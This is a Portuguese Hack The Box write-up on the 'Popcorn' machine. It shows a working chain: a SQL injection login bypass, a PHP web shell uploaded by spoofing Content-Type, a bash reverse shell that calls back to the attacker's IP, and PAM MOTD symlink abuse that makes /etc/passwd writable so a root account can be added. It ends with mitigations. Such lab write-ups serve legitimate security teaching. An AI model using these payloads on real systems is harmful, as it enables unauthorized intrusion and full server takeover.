Popcorn - HTB Medium Machine - Português Brasil
Sobre
Popcorn, apesar de não ser extremamente complicada, contém bastante conteúdo e pode ser difícil para alguns usuários localizarem o vetor de ataque correto logo de início. Essa máquina foca principalmente em diferentes métodos de exploração web.
Exploração
Enumeração
Começando com um scan de Nmap, dois ports abertos foram encontrados:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
|_ 2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
80/tcp open http Apache httpd 2.2.12
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Did not follow redirect to http://popcorn.htb/
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vou adicionar o hostname no arquivo de hosts para acessar o site:
echo "10.10.10.6 popcorn.htb" | sudo tee -a /etc/hosts
A página inicial mostra pouco conteúdo, o que indica a necessidade de fazer enumeração de diretórios.
A página 404 revela que está rodando Apache com informações de versão, confirmando os detalhes do servidor web.
Usando o feroxbuster, dois caminhos interessantes aparecem:
feroxbuster -u http://popcorn.htb --dont-extract-links -t 50 -x php
http://popcorn.htb/test
http://popcorn.htb/torrent/admin
O diretório /test exibe informações completas de configuração do servidor, confirmando que é uma aplicação PHP e revelando detalhes como o usuário do webserver e recursos de upload.
A configuração mostra o usuário da aplicação e a estrutura de diretórios:
Bom saber, há funcionalidade de upload de arquivos disponível:
Já o diretório /torrent/admin mostra uma página de login com opção de registro. Testar credenciais padrão de admin não funciona, como esperado:
http://popcorn.htb/torrent/admin
Uma payload simples de SQL Injection bypassa a autenticação logo na primeira tentativa:
admin' OR '1'='1
Com o login bem-sucedido, o painel admin fica acessível, incluindo várias funcionalidades e a de upload:
A página de upload permite selecionar e enviar arquivos:
As primeiras tentativas de enviar uma shell em PHP falham:
<?php system($_REQUEST["cmd"]); ?>
Explorando mais o site, a página Browse contém a opção Edit this torrent:
Essa opção abre um popup para edição, incluindo envio de screenshot. Interceptando a requisição no Burp Suite enquanto envio a shell PHP:
<?php system($_REQUEST["cmd"]); ?>
A resposta indica “Invalid file”:
Mas explorando a estrutura de diretórios, vemos que há um /upload dentro de /torrent/ acessível publicamente e já com arquivos:
Ponto de Entrada
Para contornar a restrição de tipo de arquivo, alterei o header Content-Type para image/png no POST. Isso permite o upload mantendo a extensão .php:
Agora o arquivo aparece em /upload/, ficando fácil prosseguir:
Com a execução remota de código funcionando, o próximo passo é gerar uma reverse shell.
Uso o curl para disparar a request com meu IP e capturar a shell no listener:
curl http://popcorn.htb/torrent/upload/723bc28f9b6f924cca68ccdff96b6190566ca6b4.php?cmd=id --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.6/9001 0>&1'"
A shell recebida é limitada, então ajusto para um terminal mais funcional:
python -c 'import pty; pty.spawn("/bin/bash")'
Depois suspendo a shell (CTRL+Z) e configuro o terminal local:
stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
Agora temos uma TTY interativa e estável.
USER
Pegando a flag do usuário:
www-data@popcorn:/home/george$ cat user.txt
f515e4e120f.....
Escalação de Privilégios
Enquanto explorava o /home/george, encontrei o arquivo .cache/motd.legal-displayed:
www-data@popcorn:/home/george$ find . -type f -ls
76 4 -rw-r--r-- 1 george george 220 Mar 17 2017 ./.bash_logout
82 4 -rw-r--r-- 1 george george 3180 Mar 17 2017 ./.bashrc
42885 832 -rw-r--r-- 1 george george 848727 Mar 17 2017 ./torrenthoster.zip
42883 0 -rw-r--r-- 1 george george 0 Mar 17 2017 ./.cache/motd.legal-displayed
42884 0 -rw-r--r-- 1 george george 0 Mar 17 2017 ./.sudo_as_admin_successful
2210 4 -rw-r--r-- 1 george george 33 Mar 17 2017 ./user.txt
43648 4 -rw------- 1 root root 19 May 5 2017 ./.nano_history
44232 4 -rw------- 1 root root 1571 Mar 17 2017 ./.mysql_history
499 4 -rw------- 1 root root 2769 May 5 2017 ./.bash_history
107 4 -rw-r--r-- 1 george george 675 Mar 17 2017 ./.profile
Ele está vazio, mas como esses arquivos rodam quando uma sessão é iniciada, podem ser explorados para execução de código. Uma pesquisa rápida por “motd.legal-displayed privesc” mostrou uma entrada no Exploit-DB.
Essa máquina é vulnerável à falha Linux PAM 1.1.0 MOTD File Tampering, que bagunça permissões de arquivos durante logins SSH no Ubuntu 9.10 e 10.04.
Entendendo a vulnerabilidade
Quando um usuário faz login via SSH, o sistema PAM (Pluggable Authentication Modules) atualiza os arquivos de cache do MOTD (Message of the Day). Devido a uma race condition no PAM 1.1.0, esses arquivos podem ter sua propriedade temporariamente atribuída ao usuário conectado em vez de permanecerem como root.
A vulnerabilidade acontece porque:
- O PAM cria arquivos de cache no diretório
.cache/do usuário. - Durante o login SSH, o PAM temporariamente dá a posse desses arquivos ao usuário conectado.
- Se o diretório
.cachefor substituído por um symlink, o PAM vai segui-lo e alterar a posse do arquivo de destino. - Isso permite escalar privilégios ganhando acesso de escrita a arquivos sensíveis como
/etc/passwd.
Vamos explorar isso passo a passo.
Primeiro, estabeleço acesso SSH gerando chaves para o usuário www-data:
www-data@popcorn:/var/www$ mkdir -p ~/.ssh
www-data@popcorn:/var/www$ chmod 700 ~/.ssh
www-data@popcorn:/var/www$ ssh-keygen -q -t rsa -N '' -C 'pam'
Enter file in which to save the key (/var/www/.ssh/id_rsa):
www-data@popcorn:/var/www$ ls .ssh/
id_rsa id_rsa.pub
www-data@popcorn:/var/www$ cp .ssh/id_rsa.pub .ssh/authorized_keys
www-data@popcorn:/var/www$ ls .ssh/
authorized_keys id_rsa id_rsa.pub
www-data@popcorn:/var/www$ chmod 600 ~/.ssh/authorized_keys
www-data@popcorn:/var/www$ cat ~/.ssh/id_rsa
Do meu host, tento usar a chave, mas o SSH retorna erro, já que a versão é antiga e precisa de ajustes:
└─ $ ssh -i id_rsa www-data@popcorn.htb
Unable to negotiate with 10.10.10.6 port 22: no matching host key type found.
Their offer: ssh-rsa,ssh-dss
Após ajustar os algoritmos aceitos, o login funciona:
┌── ➤ popcorn
└─ $ chmod 600 id_rsa
┌── ➤ popcorn
└─ $ ssh -i id_rsa -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa www-data@10.10.10.6
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
System information as of Tue Sep 9 00:45:37 EEST 2025
System load: 0.0 Memory usage: 9% Processes: 119
Usage of /: 36.7% of 3.56GB Swap usage: 0% Users logged in: 0
Graph this data and manage this system at https://landscape.canonical.com/
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
$ whoami
www-data
Agora removo o diretório cache e crio um link simbólico para /etc/passwd:
www-data@popcorn:~$ rm -rf .cache/
www-data@popcorn:~$ ln -s /etc/passwd .cache
www-data@popcorn:~$ ls -la .cache
lrwxrwxrwx 1 www-data www-data 11 2025-09-09 00:48 .cache -> /etc/passwd
Inicialmente, /etc/passwd ainda pertence ao root:
www-data@popcorn:~$ ls -l /etc/passwd
-rw-r--r-- 1 root root 1031 2017-03-17 19:07 /etc/passwd
Depois de logar novamente via SSH, já temos acesso de escrita:
www-data@popcorn:~$ ls -l /etc/passwd
-rw-r--r-- 1 www-data www-data 1097 2025-09-09 01:00 /etc/passwd
Crio um novo usuário privilegiado:
www-data@popcorn:~$ openssl passwd -1 nika
$1$F8Rt3Qpr$lmImOtRSnhkJx7y9YgKuR0
www-data@popcorn:~$ echo 'nika:$1$F8Rt3Qpr$lmImOtRSnhkJx7y9YgKuR0:0:0:pwned:/
t:/bin/bash' >> /etc/passwd
ROOT
Com o usuário privilegiado criado, pego a flag root:
root@popcorn:~# cat root.txt
ff6a8c6683d.....
Análise
Esta máquina demonstra múltiplas vulnerabilidades que formam uma cadeia completa de ataque, desde o acesso inicial até a escalação de privilégios:
1. Bypass de Autenticação via Injeção SQL
A funcionalidade de login da aplicação de torrent é vulnerável a injeção SQL, permitindo bypass de autenticação através de injeção baseada em booleanos:
Detalhes da Vulnerabilidade:
- Causa Raiz: Entrada do usuário não sanitizada concatenada diretamente em consultas SQL
- Vetor de Ataque: O formulário de login administrativo aceita entradas maliciosas como
admin' OR '1'='1 - Impacto: Bypass completo de autenticação sem credenciais válidas
- Nível de Risco: Crítico - fornece acesso administrativo não autorizado
Análise Técnica:
A aplicação provavelmente constrói consultas SQL semelhantes a:
SELECT * FROM users WHERE username='$username' AND password='$password'
A carga de injeção admin' OR '1'='1 transforma isso em:
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'
Como '1'='1' sempre avalia como verdadeiro, a consulta retorna resultados independentemente das credenciais.
2. Bypass de Filtro de Upload de Arquivos
A funcionalidade de upload de screenshots implementa validação insuficiente de tipo de arquivo, permitindo upload arbitrário através de manipulação de cabeçalhos HTTP:
Detalhes da Vulnerabilidade:
- Causa Raiz: Validação do lado do cliente dependendo apenas do cabeçalho Content-Type
- Vetor de Ataque: Interceptar requisições de upload e modificar o Content-Type para
image/png - Impacto: Execução remota de código através de shells PHP enviados
- Nível de Risco: Crítico - permite comprometimento completo do servidor
Análise Técnica:
- A aplicação verifica apenas o cabeçalho
Content-Type, não o conteúdo real do arquivo - Extensões de arquivo são preservadas durante o upload, permitindo a execução de arquivos
.php - Arquivos enviados são armazenados em um diretório publicamente acessível (
/torrent/upload/) - Não há validação do lado do servidor do formato ou conteúdo real do arquivo
Técnica de Bypass:
POST /torrent/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="cmd.php"
Content-Type: image/png
<?php system($_REQUEST["cmd"]); ?>
------WebKitFormBoundary--
3. Condição de Corrida no PAM MOTD (Escalação de Privilégios)
A vulnerabilidade do PAM MOTD demonstra como condições de corrida em serviços do sistema podem levar à escalação de privilégios:
Detalhes da Vulnerabilidade:
- Janela de Tempo: O PAM altera temporariamente a propriedade de arquivos durante a autenticação SSH
- Seguimento de Links Simbólicos: O sistema segue links simbólicos sem validação adequada
- Comportamento Previsível: O processo de atualização do MOTD ocorre consistentemente durante logins SSH
- Acesso de Escrita: Obter acesso de escrita para
/etc/passwdpermite criar usuários privilegiados
Mitigação
Prevenção de Injeção SQL
- Implementar consultas parametrizadas ou prepared statements
- Usar validação e sanitização de entrada
- Aplicar o princípio do menor privilégio para contas de banco de dados
- Implementar tratamento de erros adequado para evitar divulgação de informações
Segurança no Upload de Arquivos
- Validar o conteúdo do arquivo, não apenas cabeçalhos ou extensões
- Implementar whitelist de tipos de arquivo baseado em assinaturas reais de arquivos
- Armazenar arquivos enviados fora do root da web
- Usar políticas de segurança de conteúdo para prevenir execução
- Implementar limites de tamanho de arquivo e escanear em busca de conteúdo malicioso
Vulnerabilidade do PAM MOTD
Esta vulnerabilidade foi corrigida em versões posteriores do PAM através de:
- Implementação de verificações de propriedade adequadas antes de operações com arquivos
- Adição de validação para links simbólicos em diretórios de cache
- Garantia de que arquivos de cache mantenham permissões apropriadas durante todo o processo
Notas
Se gostou desse writeup, me envie um respect no meu perfil do hackthebox. Eu ficaria muito feliz em saber que estou te ajudando em algo.
Se algo escrito aqui não estiver claro, recomendo consultar a seção cookbook. Se não encontrar a resposta ou precisar de mais esclarecimentos, entre em contato pelo email.
Referências
The master 0xdf
Problems with motd.legal-displayed
motd-privilege-escalation
MOTD File Tampering Privilege Escalation